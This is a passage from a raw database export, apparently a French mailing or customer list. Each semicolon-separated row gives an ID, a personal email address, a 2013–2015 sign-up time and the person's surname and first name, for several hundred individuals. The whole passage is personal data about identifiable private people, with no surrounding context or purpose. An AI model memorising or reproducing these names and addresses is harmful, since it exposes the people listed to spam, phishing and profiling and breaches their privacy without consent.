18:42:37;TREVIEN;VALERIE;1 +292;VALERIE1603@HOTMAIL.COM;2013-10-16 00:15:21;DUCHESNE;VALERIE;1 +4520;valeriebareille@yahoo.fr;2014-12-17 18:44:49;Masson;Valérie;1 +4492;valeriebriot@gmail.com;2014-12-15 23:55:56;Briot-Ignatoff;Valérie;1 +4875;valeriedenier@icloud.com;2015-02-01 09:52:41;DENIER;VALERIE;1 +1244;valeriefilou@yahoo.fr;2014-02-27 21:41:44;filou;valerie;1 +4570;valeriefoussevatasso@gmail.com;2014-12-24 12:42:53;VATASSO;Valerie;1 +1347;valeriemolinier81@gmail.com;2014-03-13 14:43:02;Alcaraz;Valérie;1 +3745;valerietomczak@wanadoo.fr;2014-10-27 12:50:18;tomczak;valerie;1 +3073;valette.laurence@club-internet.fr;2014-08-14 17:21:31;valette;laurence;1 +1860;valgresy_g@hotmail.com;2014-04-26 20:08:35;VALGRESY;Géraldine;1 +391;VALMAR1@FREE.FR;2013-10-31 16:25:14;RIFFARD;MLAGALIE;1 +1221;valoumae@hotmail.fr;2014-02-23 20:46:30;Pennacchi;Valérie;1 +3610;valseube@hotmail.fr;2014-10-15 17:42:49;SEUBE;Valérie;1 +1486;valsyl.giralt@wanadoo.fr;2014-03-29 20:09:18;Giralt;Valerie;1 +1854;valtbaum@hotmail.com;2014-04-26 12:49:42;Altbaum;Valérie;1 +1259;valymancini@hotmail.fr;2014-03-01 18:22:35;MANCINI;VALERIE;1 +1036;vanbreu@wanadoo.fr;2014-01-28 15:25:51;VANBREUSEGEM;LILIANE;1 +2578;vandamme.henri@orange.fr;2014-06-16 19:27:04;vandamme;Henri;1 +190;vanessa.frizon@hotmail.fr;2013-09-26 13:42:50;FRIZON;Vanessa;1 +1192;vanessa.garderet@yahoo.fr;2014-02-19 12:37:33;GARDERET;Vanessa;1 +1638;vanessa.rouault@gmail.com;2014-04-12 10:42:06;Rouault;Vanessa;1 +223;vanessadumesnil@gmail.com;2013-10-02 23:41:13;du Mesnil;Vanessa;1 +4989;vanessforkids@gmail.com;2015-02-10 12:31:10;rodier;vanessa;1 +1270;vanilla--sky@orange.fr;2014-03-03 10:32:01;Viegas;Sandra;1 +2183;vanina600@hotmail.com;2014-05-16 12:48:25;Thellier;Vanina;1 +3497;vanouvanessa@hotmail.fr;2014-10-03 14:14:32;Barbottea;Vanessa;1 +1934;Vassaultalexandra@hotmail.com;2014-05-01 10:18:03;Vassault;Alexandra;1 +675;vcourbe@hotmail.com;2013-12-10 14:35:01;courbe;virginie;1 +4035;veiganelly@voila.fr;2014-11-15 16:19:30;Veiga;Nelly;1 +3976;vernatm@voila.fr;2014-11-10 16:09:48;vernat;michele;1 +674;vero4162@aol.com;2013-12-10 12:22:06;samarcq;veronique;1 +3848;veroelfe@live.fr;2014-11-03 10:51:34;lecomte;veronique;1 +1132;veronique.420@hotmail.fr;2014-02-07 10:19:22;falsone;veronique;1 +2709;veronique.albert61@gmail.com;2014-06-30 13:57:29;ALBERT;Véronique;1 +1645;veronique.bonnin@bbox.fr;2014-04-12 18:12:22;BONNIN;VERONIQUE;1 +4070;veronique.boudet@wanadoo.fr;2014-11-17 16:41:40;BOUDET;VERONIQUE;2 +853;veronique.burnod@hotmail.fr;2014-01-02 19:56:14;Burnod;Veronique;1 +2207;veronique.desjardins@orange.fr;2014-05-18 20:32:27;Lemaire;Veronique;1 +1140;veronique.mailly@laposte.net;2014-02-09 13:19:57;mailly;veronique;1 +4288;veronique.sassard83@sfr.fr;2014-12-03 20:53:31;sassard;veronique;1 +1644;veronique.verheye@cegetel.net;2014-04-12 18:03:11;VERHEYE;Veronique;1 +973;veronique.weisse@laposte.net;2014-01-22 08:22:17;weisse;Veronique;1 +2643;Veroniquebottero@yahoo.com;2014-06-23 16:07:27;Ginouves;Francois;1 +4346;veroniqueflouzat@live.fr;2014-12-07 21:48:08;Flouzat;veronique;1 +4736;veroniquemoya@aol.com;2015-01-17 14:48:43;MOYA;VERONIQUE;1 +1340;veronique_blin@orange.fr;2014-03-12 03:00:30;Blin;Véronique;1 +2374;veropautas@hotmail.fr;2014-05-31 07:31:37;pautas;veronique;1 +737;vicossec@hotmail.com;2013-12-16 18:21:11;Le Cossec;Violette;1 +1462;vidalenc.sandra@neuf.fr;2014-03-26 21:30:34;vidalenc;sandra;1 +1467;vidalmarja@yahoo.fr;2014-03-27 12:10:43;vidal;marja-leena;1 +1673;videau.nathalie@orange.fr;2014-04-14 07:25:44;Videau;Nathalie;1 +2827;vincent.lamote@orange.fr;2014-07-13 17:38:51;LAMOTE;Vincent;1 +4305;vincent_leslie@orange.fr;2014-12-05 16:50:36;VINCENT;Leslie;1 +608;violette.parizel@orange.fr;2013-12-02 17:39:05;PARIZEL;Violette;1 +1924;virginie.aupied@aliceadsl.fr;2014-04-30 19:10:09;AUPIED;Virginie;1 +117;virginie.chaussat@orange.fr;2013-09-12 17:24:12;chaussat;virginie;1 +2543;virginie.dessens@gmail.com;2014-06-12 22:39:20;Dessens;Virginie;1 +3159;virginie.fernandes30@sfr.fr;2014-08-26 21:40:27;fernandes;virginie;1 +2977;virginie.guilloux@sfr.fr;2014-07-31 17:29:37;guilloux;virgine;1 +1117;virginie.intem@wanadoo.fr;2014-02-05 09:56:05;HAMON;Virginie;1 +4465;virginie.kibge@yahoo.fr;2014-12-14 18:53:32;faveyrial;virginie;1 +3461;virginie.loa@gmail.com;2014-09-30 17:35:40;allix;virginie laurence;1 +2412;virginie.spadafora@sfr.fr;2014-06-02 18:12:29;spadafora;virginie;1 +2976;virginie@famillebastin.fr;2014-07-31 13:20:37;BASTIN;VIRGINIE;1 +4111;Virginiebriais@orange.fr;2014-11-19 22:21:14;Briais ;Virginie;1 +3470;Virginiedeloos@gmail.com;2014-09-30 20:31:06;Deloos;Virginie;1 +3165;virginieistria@orange.fr;2014-08-27 11:10:40;istria;virginie;1 +474;virginieopera@yahoo.fr;2013-11-12 15:46:53;bioules;virginie;1 +3283;virginiepruvot@hotmail.com;2014-09-11 09:26:26;pruvot;virginie;1 +4853;virvacaro@hotmail.fr;2015-01-29 18:30:12;Testas;Virginie;1 +2491;vir_gerard@yahoo.fr;2014-06-09 10:01:08;GERARD;VIRGINIE;1 +643;vmastronicola@gmail.com;2013-12-05 10:01:58;MASTRONICOLA;Virginia;1 +541;vnetwork@live.fr;2013-11-22 17:45:28;THIRUVASAHAN;JESSICA;1 +4119;voillet.nathalie@gmail.com;2014-11-20 16:17:55;voillet;nathalie;1 +2640;volauda@yahoo.es;2014-06-23 10:01:53;Randriamampandry ;Vola A;1 +2842;vroniquematz@live.de;2014-07-15 14:33:12;Fricke;Véronique;1 +2723;vuongpatricia@gmail.com;2014-07-01 20:06:56;chochon;anne-patricia;1 +4453;vviramontes1990@csu.fullerton.edu;2014-12-14 00:03:57;Vanessa ;Viramontes;1 +5007;vvs@novexco.com.cy;2015-02-11 15:00:21;Sergeeva;Veronika;2 +3402;v_diebold@hotmail.com;2014-09-23 10:18:56;Diébold;Valérie;1 +2991;w.cathy901@gmail.com;2014-08-02 23:38:23;Wang;Xin;1 +586;wagnerpierre67@yahoo.fr;2013-11-28 22:10:44;Wagner;Agnès;1 +1203;waldorfila@gmail.com;2014-02-21 11:14:21;dos santos;valeria;1 +4128;watchmen2000@hotmail.fr;2014-11-21 18:01:53;HUVELLE;Severine;1 +3989;wayat.64@gmail.com;2014-11-11 13:43:02;AGOSTINHO;Thierry;1 +1232;wfannemarie@hotmail.fr;2014-02-25 17:04:30;MONNET;Anne marie;1 +4019;windorah@gmail.com;2014-11-14 19:50:03;LEFORT;JENNIFER;1 +1199;xiaoji@hotmail.fr;2014-03-08 16:18:57;Perrin;Alice;1 +3714;xin.su@msc.htwchur.ch;2014-10-24 13:11:36;Su;Xin;2 +439;y.francois.tissey@orange.fr;2013-11-08 14:15:43;FRANCOIS;Yvette;1 +4454;yamnasouci@live.fr;2014-12-14 07:25:22;souci;yamna;1 +2199;yamysa@yahoo.fr;2014-05-18 10:29:19;Zidane;Myriam;1 +2332;yann.lavoisier@wanadoo.fr;2014-05-28 10:32:57;lavoisier;stephanie;1 +3840;yanna.heryci@laposte.net;2014-11-02 19:59:05;HERY;Yanna;1 +3659;ycalon@orange.fr;2014-10-19 17:19:17;heinen;yvette;1 +3568;Yichag@gmail.com;2014-10-12 01:16:15;Jiayi;Guan;1 +2883;yoana.ramasawmy@hotmail.fr;2014-07-20 20:29:44;Ramasawmy;Yoana;1 +555;yogacy3@yahoo.fr;2013-11-24 19:56:31;RENAUD;NADEGE;1 +2566;yolaine91770@hotmail.fr;2014-06-15 18:31:37;HAUQUELIN;YOLAINE;1 +2531;yolande.rusig@sfr.fr;2014-06-11 20:46:25;RUSIG;YOLANDE;1 +2999;yuduansiqing@hotmail.com;2014-08-03 20:31:20;DUANSIQING;YU;2 +2959;yuhooyuhoo@yeah.net;2014-07-29 21:59:12;yuhao;gao;2 +3146;yukxg@hotmail.com;2014-08-26 02:36:48;ZHIXUAN;YU;2 +328;yveline92@hotmail.fr;2013-10-21 20:02:12;PADRAO;Yveline;1 +4014;yves.annie@yahoo.fr;2014-11-14 13:43:03;silvestre;yves;1 +4818;yves.schiel@gmail.com;2015-01-26 07:02:30;schiel;yves;1 +232;yvetteseglat@gmail.com;2013-10-05 19:18:54;SEGLAT;Yvette;1 +4687;z.sylvie@yahoo.fr;2015-01-10 18:11:59;zimmer;sylvie;1 +2129;zakopane.vrg@gmail.com;2014-05-12 20:13:33;geoffroy;valérie;1 +1391;zapoteca_24@hotmail.com;2014-03-19 14:16:49;Rousset;Priscilla;1 +1858;zazacochet@yahoo.fr;2014-04-26 15:07:49;cochet;isabelle;1 +607;zazadec@yahoo.fr;2013-12-02 15:47:24;decamps;isabelle;1 +3069;zehuiwang@foxmail.com;2014-08-14 03:42:00;Wang;Zehui;2 +3300;zette_jo@sfr.fr;2014-09-12 08:52:06;moindrot;Josette;1 +2238;zezza.aurelie@gmail.com;2014-05-21 11:49:49;ZEZZA;Aurélie;1 +2978;zhangmiaoyimilo@hotmail.com;2014-07-31 23:21:34;ZHANG;MIAOYI;2 +4985;zhengjiping@alice.it;2015-02-10 01:57:09;Zheng;jiping;1 +4647;zhoulala2010@live.cn;2015-01-05 21:40:52;zhou;lian;1 +1983;zinck.brigitte@gmail.com;2014-05-02 15:17:13;zinck;brigitte;1 +3468;zinox95@orange.fr;2014-09-30 20:17:27;Allard;muriel;1 +1115;Zoelafarge@live.fr;2014-02-04 23:07:56;Brauneisen ;Géraldine;1 +4;deboxia_78@hotmail.fr;2013-06-17 14:52:44; ; ;0 +11;eric.b.coste@gmail.com;2013-08-08 15:11:26; ; ;0 +12;pradigue@lagoon.nc;2013-08-09 08:58:31; ; ;0 +13;maud-laissue-boardman@hotmail.fr;2013-08-09 09:04:27; ; ;0 +14;ellen.danzo@gmail.com;2013-08-09 09:41:33; ; ;0 +16;saveria-coste@garancia-beauty.com;2013-08-09 19:50:23; ; ;0 +18;sssm@ùêe.fr;2013-08-09 20:20:06; ; ;0 +19;sssm@ùêe.fr;2013-08-09 20:20:08; ; ;0 +20;claudine.hunault@virginbox.fr;2013-08-10 00:28:47; ; ;0 +21;find.laura@hotmail.com;2013-08-10 10:55:48; ; ;0 +22;nath.parmentier@skynet.be;2013-08-11 23:24:11; ; ;0 +26;lilyrose.fleurs@gmail.com;2013-08-14 00:04:19; ; ;0 +27;noelle.goulin@laposte.net;2013-08-14 12:53:58; ; ;0 +28;mariejose.moinier@neuf.fr;2013-08-14 17:55:24; ; ;0 +29;nathalie.lecouteur@sfr.fr;2013-08-15 08:34:51; ; ;0 +32;annecolliard@yahoo.fr;2013-08-16 14:57:53; ; ;0 +34;Mongreniercoupdecoeur@gmail.com;2013-08-24 09:20:45; ; ;0 +36;pierre.delaville88@gmail.com;2013-09-05 16:09:25; ; ;0 +37;pierre.delaville@free.fr;2013-09-05 16:16:32; ; ;0 +39;francisca@correiafamily.net;2013-09-08 23:30:36; ; ;0 +41;vanessa.dupret@akeonet.com;2013-09-09 16:15:00; ; ;0 +42;cynthiacoillot@hotmail.com;2013-09-09 16:37:04; ; ;0 +43;cardonsp@orange.fr;2013-09-09 17:41:21; ; ;0 +44;plaquetm@yahoo.fr;2013-09-09 19:06:04; ; ;0 +45;st_cornet_@hotmail.com;2013-09-09 20:56:40; ; ;0 +46;izaze@live.fr;2013-09-10 09:58:40; ; ;0 +47;astrid.cahu@gmail.com;2013-09-10 22:52:12; ; ;0 +48;lyoko83000@gmail.com;2013-09-11 18:05:38; ; ;0 +49;intercours@hotmail.com;2013-09-15 13:44:32; ; ;0 +50;alias.marge31@gmail.com;2013-09-15 13:49:02; ; ;0 +52;claire.kerevel@live.fr;2013-09-16 17:48:29; ; ;0 +53;aurelie.geraux@gmail.com;2013-09-17 13:04:26; ; ;0 +54;camil22@hotmail.fr;2013-09-18 10:48:04; ; ;0 +55;tardos.mylene@orange.fr;2013-09-19 16:22:55; ; ;0 +56;sonia.beroud@gmail.com;2013-09-21 10:03:49; ; ;0 +57;sylvie.lelong87@sfr.fr;2013-09-22 14:55:21; ; ;0 +58;clemallibert@yahoo.fr;2013-09-23 15:36:20; ; ;0 +59;test@test.com;2013-09-23 15:37:52; ; ;0 +60;test@dsrre.fr;2013-09-25 10:01:24; ; ;0 +62;my.balaguer@gmail.com;2013-09-25 10:04:48; ; ;0 +63;test@superyoupi.com;2013-09-25 10:05:07; ; ;0 +64;titelolo1012@msn.com;2013-09-25 12:04:08; ; ;0 +65;claire_fabert@hotmail.fr;2013-09-25 12:04:11; ; ;0 +66;veronique.mailly@laposte.net;2013-09-25 12:04:30; ; ;0 +67;danieleadrien@aol.com;2013-09-25 12:05:40; ; ;0 +68;thieux.christine@orange.fr;2013-09-25 12:06:38; ; ;0 +69;myriam@maxiavenue.com;2013-09-25 12:07:02; ; ;0 +70;loffelga@hotmail.com;2013-09-25 12:07:02; ; ;0 +71;degonzaga.patricia@neuf.fr;2013-09-25 12:07:11; ; ;0 +72;osmanthus13@hotmail.com;2013-09-25 12:07:12; ; ;0 +73;ameline.muriel@orange.fr;2013-09-25 12:07:19; ; ;0 +74;kajazz@hotmail.fr;2013-09-25 12:07:20; ; ;0 +75;natdesmontagnes@hotmail.fr;2013-09-25 12:07:45; ; ;0 +76;thierrynatacha69@hotmail.fr;2013-09-25 12:08:15; ; ;0 +77;solerickson@noos.fr;2013-09-25 12:08:35; ; ;0 +78;guylaine@avenant.fr;2013-09-25 12:08:52; ; ;0 +79;jenkinsonfiona@hotmail.com;2013-09-25 12:08:52; ; ;0 +80;estelle.andrieu@gmail.com;2013-09-25 12:08:58; ; ;0 +81;catherine.grezes@orange.fr;2013-09-25 12:09:49; ; ;0 +82;mlada_@hotmail.com;2013-09-25 12:10:16; ; ;0 +83;bettybblue@orange.fr;2013-09-25 12:11:10; ; ;0 +84;dominiquecantrel@aol.com;2013-09-25 12:11:15; ; ;0 +85;ginette.six0136@orange.fr;2013-09-25 12:11:15; ; ;0 +86;gordolon.christine@neuf.fr;2013-09-25 12:12:02; ; ;0 +87;gachon.chrystele@orange.fr;2013-09-25 12:12:34; ; ;0 +88;bert.nel@neuf.fr;2013-09-25 12:12:59; ; ;0 +89;nikole86@hotmail.fr;2013-09-25 12:13:14; ; ;0 +90;carocutullic@yahoo.fr;2013-09-25 12:13:16; ; ;0 +91;coelho_helenamp@hotmail.com;2013-09-25 12:13:55; ; ;0 +92;elizabeth.lamouline@live.fr;2013-09-25 12:14:53; ; ;0 +93;blondomi@hotmail.fr;2013-09-25 12:14:57; ; ;0 +94;genevieve.gousset@laposte.net;2013-09-25 12:15:02; ; ;0 +95;carolinechaffiraud@yahoo.fr;2013-09-25 12:15:08; ; ;0 +96;chine.jonnier@yahoo.fr;2013-09-25 12:15:22; ; ;0 +97;ththeory@aol.com;2013-09-25 12:15:22; ; ;0 +98;martinemiesch@msn.com;2013-09-25 12:15:27; ; ;0 +99;h.mabut@orange.fr;2013-09-25 12:15:29; ; ;0 +100;epilon@leclerc-socapdis.com;2013-09-25 12:15:42; ; ;0 +101;joelle_lc@yahoo.fr;2013-09-25 12:16:18; ; ;0 +102;adrazbrigitte@yahoo.fr;2013-09-25 12:16:44; ; ;0 +103;lopes.sophie@gmail.com;2013-09-25 12:17:28; ; ;0 +104;jth@cegetel.net;2013-09-25 12:17:54; ; ;0 +105;heliosgare@yahoo.fr;2013-09-25 12:17:57; ; ;0 +106;murielle01.g@sfr.fr;2013-09-25 12:19:48; ; ;0 +107;legeremmanuelle@yahoo.fr;2013-09-25 12:20:08; ; ;0 +108;stefsy@gmail.com;2013-09-25 12:20:53; ; ;0 +109;chantereines2@wanadoo.fr;2013-09-25 12:21:01; ; ;0 +110;anita.quenel@sfr.fr;2013-09-25 12:22:37; ; ;0 +111;c.garry5@laposte.net;2013-09-25 12:22:52; ; ;0 +112;christine.laz@radiofrance.com;2013-09-25 12:22:55; ; ;0 +113;vassaultalexandra@hotmail.com;2013-09-25 12:23:43; ; ;0 +114;annie.12@passtime.fr;2013-09-25 12:24:31; ; ;0 +115;armelleflecheux@hotmail.fr;2013-09-25 12:25:09; ; ;0 +116;virginie.schmitt55@orange.fr;2013-09-25 12:25:14; ; ;0 +117;magicienne59@gmail.com;2013-09-25 12:26:14; ; ;0 +118;sylvie.vinas@wanadoo.fr;2013-09-25 12:26:32; ; ;0 +119;moulier@yahoo.fr;2013-09-25 12:26:46; ; ;0 +120;albibollet@hotmail.com;2013-09-25 12:27:17; ; ;0 +121;carocamiolo@orange.fr;2013-09-25 12:27:33; ; ;0 +122;sandrita.ledesma@gmail.com;2013-09-25 12:28:34; ; ;0 +123;monette0311@hotmail.fr;2013-09-25 12:28:38; ; ;0 +124;c.mendesnazare@orange.fr;2013-09-25 12:28:45; ; ;0 +125;regine.lemarie@orange.fr;2013-09-25 12:28:55; ; ;0 +126;herminelorreyte@gmail.com;2013-09-25 12:30:00; ; ;0 +127;patssou@gmail.com;2013-09-25 12:30:23; ; ;0 +128;nc56@netcourrier.com;2013-09-25 12:30:41; ; ;0 +129;chantalgentric@sfr.fr;2013-09-25 12:30:56; ; ;0 +130;nathaliegenin@voila.fr;2013-09-25 12:32:57; ; ;0 +131;rattier.florence@neuf.fr;2013-09-25 12:33:00; ; ;0 +132;maite.laligant@gmail.com;2013-09-25 12:34:34; ; ;0 +133;norbertperroud@aol.com;2013-09-25 12:34:50; ; ;0 +134;vgorvan@hotmail.fr;2013-09-25 12:35:00; ; ;0 +135;annie.marquillanes@orange.fr;2013-09-25 12:35:54; ; ;0 +136;eklaure@wanadoo.fr;2013-09-25 12:36:06; ; ;0 +137;alain.delmas.13@orange.fr;2013-09-25 12:36:50; ; ;0 +138;heloisenarfin@gmail.com;2013-09-25 12:36:51; ; ;0 +139;maiadore@hotmail.fr;2013-09-25 12:38:48; ; ;0 +140;severine.resse@yahoo.fr;2013-09-25 12:39:56; ; ;0 +141;mc.lavastrou@orange.fr;2013-09-25 12:41:21; ; ;0 +142;nathalie.alcachebury@sfr.fr;2013-09-25 12:41:30; ; ;0 +143;domino.orsini@gmail.com;2013-09-25 12:42:35; ; ;0 +144;sylvie.quillon@wanadoo.fr;2013-09-25 12:44:26; ; ;0 +145;chantalsimonnet@hotmail.fr;2013-09-25 12:44:48; ; ;0 +146;cathlp@yahoo.com;2013-09-25 12:45:52; ; ;0 +147;g.dejert@orange.fr;2013-09-25 12:46:06; ; ;0 +148;elodia.nour@laposte.net;2013-09-25 12:46:37; ; ;0 +149;sampietro.m@gmail.com;2013-09-25 12:47:19; ; ;0 +150;marylinegalas@yahoo.fr;2013-09-25 12:48:22; ; ;0 +151;michele.carle@neuf.fr;2013-09-25 12:48:35; ; ;0 +152;marieanne.paille@neuf.fr;2013-09-25 12:49:38; ; ;0 +153;loupiote26@wanadoo.fr;2013-09-25 12:49:49; ; ;0 +155;titoumary2009@hotmail.fr;2013-09-25 12:52:12; ; ;0 +156;danarebana@yahoo.fr;2013-09-25 12:52:32; ; ;0 +157;paulinezann@msn.com;2013-09-25 12:52:42; ; ;0 +158;seveema@gmail.com;2013-09-25 12:52:52; ; ;0 +159;eliette.oger@neuf.fr;2013-09-25 12:53:40; ; ;0 +160;emeline.villega@laposte.net;2013-09-25 12:53:55; ; ;0 +161;lausop30@hotmail.fr;2013-09-25 12:54:13; ; ;0 +162;liliane.berchet@orange.fr;2013-09-25 12:54:16; ; ;0 +163;gwennygwen49@yahoo.fr;2013-09-25 12:58:10; ; ;0 +164;anneroquet@hotmail.fr;2013-09-25 12:58:20; ; ;0 +165;christel.delahaye@aliceadsl.fr;2013-09-25 12:58:53; ; ;0 +166;christine.vaureux@sfr.fr;2013-09-25 12:58:59; ; ;0 +167;g.dewitte@orange.fr;2013-09-25 13:00:11; ; ;0 +168;legal.beatrice@orange.fr;2013-09-25 13:00:14; ; ;0 +169;amj.conseils@wanadoo.fr;2013-09-25 13:00:16; ; ;0 +170;beamarchal2@gmail.com;2013-09-25 13:00:17; ; ;0 +171;je-jourdain@hotmail.fr;2013-09-25 13:00:43; ; ;0 +173;joelle.le-honzec@orange.fr;2013-09-25 13:02:31; ; ;0 +174;asbrun@hotmail.fr;2013-09-25 13:03:49; ; ;0 +175;ymaga@hotmail.fr;2013-09-25 13:05:25; ; ;0 +176;domytrichard@yahoo.fr;2013-09-25 13:06:21; ; ;0 +177;s.raspail@9online.fr;2013-09-25 13:08:02; ; ;0 +178;pop.aline@free.fr;2013-09-25 13:09:41; ; ;0 +179;christelle.clement@axiane.com;2013-09-25 13:11:54; ; ;0 +180;jocelyne.bertrand@dbmail.com;2013-09-25 13:11:57; ; ;0 +181;marieduvert@yahoo.fr;2013-09-25 13:12:15; ; ;0 +182;laissue862@gmail.com;2013-09-25 13:12:44; ; ;0 +183;valeriek33@hotmail.fr;2013-09-25 13:12:53; ; ;0 +185;virginie.charpentier@voila.fr;2013-09-25 13:13:32; ; ;0 +186;bongiorno.laurence@aliceadsl.fr;2013-09-25 13:15:25; ; ;0 +187;martineblancbern@free.fr;2013-09-25 13:16:45; ; ;0 +188;veronique.landon@laposte.net;2013-09-25 13:17:13; ; ;0 +189;gerardreybier@orange.fr;2013-09-25 13:17:17; ; ;0 +190;caroline.vermeil@sfr.fr;2013-09-25 13:17:43; ; ;0 +191;beatrice.marie55@laposte.net;2013-09-25 13:17:46; ; ;0 +192;josette.guerout@dbmail.com;2013-09-25 13:17:53; ; ;0 +193;fran.izabel@free.fr;2013-09-25 13:18:08; ; ;0 +194;chone.paulette@orange.fr;2013-09-25 13:18:11; ; ;0 +195;beams.ruaud@free.fr;2013-09-25 13:18:41; ; ;0 +196;annie.dekeukelaere@wanadoo.fr;2013-09-25 13:19:26; ; ;0 +197;cajia@hotmail.fr;2013-09-25 13:20:07; ; ;0 +200;bsavalle@gmail.com;2013-09-25 13:22:04; ; ;0 +201;v56@orange.FR;2013-09-25 13:22:49; ; ;0 +202;moreletbelier@orange.fr;2013-09-25 13:24:01; ; ;0 +203;nadjisoureya@hotmail.fr;2013-09-25 13:24:38; ; ;0 +204;ameliehormiere@gmail.com;2013-09-25 13:25:02; ; ;0 +205;aribaut@yahoo.fr;2013-09-25 13:25:24; ; ;0 +206;josserand.family@wanadoo.fr;2013-09-25 13:27:40; ; ;0 +207;lquentric@hotmail.com;2013-09-25 13:28:01; ; ;0 +208;sophia.baeza@yahoo.fr;2013-09-25 13:28:28; ; ;0 +209;camille.lemaitrecathy@laposte.net;2013-09-25 13:31:00; ; ;0 +210;laurence.quentier@hotmail.fr;2013-09-25 13:31:48; ; ;0 +211;emmanuellepasquet@laposte.net;2013-09-25 13:31:52; ; ;0 +212;serenellav@free.fr;2013-09-25 13:32:08; ; ;0 +213;jourdoisa@orange.fr;2013-09-25 13:32:25; ; ;0 +214;michelepincemin@orange.fr;2013-09-25 13:32:41; ; ;0 +215;evy.goven@hotmail.fr;2013-09-25 13:32:53; ; ;0 +216;as_solanet@yahoo.fr;2013-09-25 13:33:04; ; ;0 +217;cctornil@gmail.com;2013-09-25 13:33:41; ; ;0 +218;sgiaiminiet@gmail.com;2013-09-25 13:33:53; ; ;0 +219;katikatu@orange.fr;2013-09-25 13:33:57; ; ;0 +220;dominoy@orange.fr;2013-09-25 13:34:12; ; ;0 +221;sophie.joliot@free.fr;2013-09-25 13:34:18; ; ;0 +222;pepinobleu@gmail.com;2013-09-25 13:34:39; ; ;0 +223;cbaie@orange.fr;2013-09-25 13:36:51; ; ;0 +224;astride.lecerf@orange.fr;2013-09-25 13:37:35; ; ;0 +225;famillevial@orange.fr;2013-09-25 13:38:01; ; ;0 +226;mzwatan@yahoo.fr;2013-09-25 13:38:06; ; ;0 +227;beesea@hotmail.fr;2013-09-25 13:38:26; ; ;0 +228;j.belbou@laposte.net;2013-09-25 13:38:57; ; ;0 +230;lebrun.isabelle@free.fr;2013-09-25 13:39:32; ; ;0 +231;mdavaze@orange.fr;2013-09-25 13:40:28; ; ;0 +232;rossijeanmarc@orange.fr;2013-09-25 13:40:30; ; ;0 +233;jacqueline.chataignier@dbmail.com;2013-09-25 13:40:52; ; ;0 +234;celine.aubron@club-internet.fr;2013-09-25 13:41:06; ; ;0 +235;pienkos.joelle@wanadoo.fr;2013-09-25 13:41:33; ; ;0 +236;didine_r@yahoo.fr;2013-09-25 13:41:49; ; ;0 +237;david.blanc25@wanadoo.fr;2013-09-25 13:42:11; ; ;0 +238;juliemathern@orange.fr;2013-09-25 13:43:57; ; ;0 +239;eliane_dariesbayle@yahoo.fr;2013-09-25 13:44:09; ; ;0 +240;malotvinca@hotmail.com;2013-09-25 13:46:01; ; ;0 +241;claude.berteas0679@orange.fr;2013-09-25 13:47:44; ; ;0 +242;lastrega03@hotmail.com;2013-09-25 13:48:22; ; ;0 +243;patchou16@hotmail.fr;2013-09-25 13:48:48; ; ;0 +244;pascal.l1@orange.fr;2013-09-25 13:49:37; ; ;0 +245;fabvrr@yahoo.fr;2013-09-25 13:51:05; ; ;0 +246;claudine.roussel.1@cegetel.net;2013-09-25 13:52:37; ; ;0 +248;mcvulliez@hotmail.com;2013-09-25 13:53:46; ; ;0 +249;vdufraisse@osp.fr;2013-09-25 13:55:09; ; ;0 +250;ibo.isabelle@orange.fr;2013-09-25 13:55:46; ; ;0 +251;michele.meyer32@orange.fr;2013-09-25 13:56:41; ; ;0 +252;sylvie.detaroni@gmail.com;2013-09-25 13:56:46; ; ;0 +253;buissonnathalie.b@orange.fr;2013-09-25 13:56:47; ; ;0 +255;marie-madeleine.le_floch@univ-orleans.fr;2013-09-25 13:57:31; ; ;0 +256;sandielucas@hotmail.com;2013-09-25 13:58:11; ; ;0 +257;gisele.odorici@gmail.com;2013-09-25 13:58:19; ; ;0 +258;dav_karine@yahoo.fr;2013-09-25 13:58:39; ; ;0 +259;y.francois.tissey@orange.fr;2013-09-25 14:00:22; ; ;0 +260;nathalie@theatre-du-cloitre.fr;2013-09-25 14:02:16; ; ;0 +261;payne027@free.fr;2013-09-25 14:02:34; ; ;0 +262;monique.sistach@gmail.com;2013-09-25 14:04:10; ; ;0 +263;cendrine_lassalle@hotmail.fr;2013-09-25 14:04:10; ; ;0 +264;madeleine.jourdan@orange.fr;2013-09-25 14:04:15; ; ;0 +265;huguette.ghisbain@dbmail.com;2013-09-25 14:04:37; ; ;0 +266;catlunet@hotmail.com;2013-09-25 14:04:56; ; ;0 +267;marielaure.garnault@wanadoo.fr;2013-09-25 14:04:58; ; ;0 +268;alain.pourchier@club.fr;2013-09-25 14:05:36; ; ;0 +269;raphael.munoz@neuf.fr;2013-09-25 14:05:38; ; ;0 +270;maryvonne.timon@orange.fr;2013-09-25 14:06:26; ; ;0 +271;s.deligny@neuf.fr;2013-09-25 14:06:41; ; ;0 +272;frederic.brunel7@orange.fr;2013-09-25 14:07:25; ; ;0 +273;jacqueline.wittmann@neuf.fr;2013-09-25 14:07:33; ; ;0 +274;marie.bression@free.fr;2013-09-25 14:07:57; ; ;0 +275;braut.brigitte@orange.fr;2013-09-25 14:08:19; ; ;0 +277;noyer.massif@orange.fr;2013-09-25 14:09:46; ; ;0 +278;jmclab@wanadoo.fr;2013-09-25 14:09:57; ; ;0 +279;info@pessinlocation.com;2013-09-25 14:10:14; ; ;0 +280;eilimeellag@hotmail.fr;2013-09-25 14:10:31; ; ;0 +281;celine.prima@free.fr;2013-09-25 14:11:03; ; ;0 +282;gildavalentin@gmail.com;2013-09-25 14:11:22; ; ;0 +283;lesmartichot@orange.fr;2013-09-25 14:11:42; ; ;0 +284;anne.fagnant@gmail.com;2013-09-25 14:12:45; ; ;0 +285;michelebrice@free.fr;2013-09-25 14:12:55; ; ;0 +286;pierrette.fargier@wanadoo.fr;2013-09-25 14:13:46; ; ;0 +287;jbouin@orange.fr;2013-09-25 14:13:46; ; ;0 +288;fabienne.kochert@wanadoo.fr;2013-09-25 14:14:08; ; ;0 +289;pons.suzan@orange.fr;2013-09-25 14:14:21; ; ;0 +290;ccastaigne@gmail.com;2013-09-25 14:15:05; ; ;0 +291;covacho.odile@gmail.com;2013-09-25 14:15:06; ; ;0 +292;vpsbrunet@gmail.com;2013-09-25 14:18:38; ; ;0 +293;raphaellelevant@yahoo.fr;2013-09-25 14:19:26; ; ;0 +294;mevcathy@hotmail.fr;2013-09-25 14:19:27; ; ;0 +295;ophelie.denis@voila.fr;2013-09-25 14:19:41; ; ;0 +296;SIMONE.LOGEL@WANADOO.FR;2013-09-25 14:19:59; ; ;0 +297;caroline66@ebuyclub.com;2013-09-25 14:22:14; ; ;0 +298;evelyne.clement@clement-sezanne.fr;2013-09-25 14:22:25; ; ;0 +300;Bbdenis2000@hotmail.fr;2013-09-25 14:23:25; ; ;0 +301;paco-dos-santos@orange.fr;2013-09-25 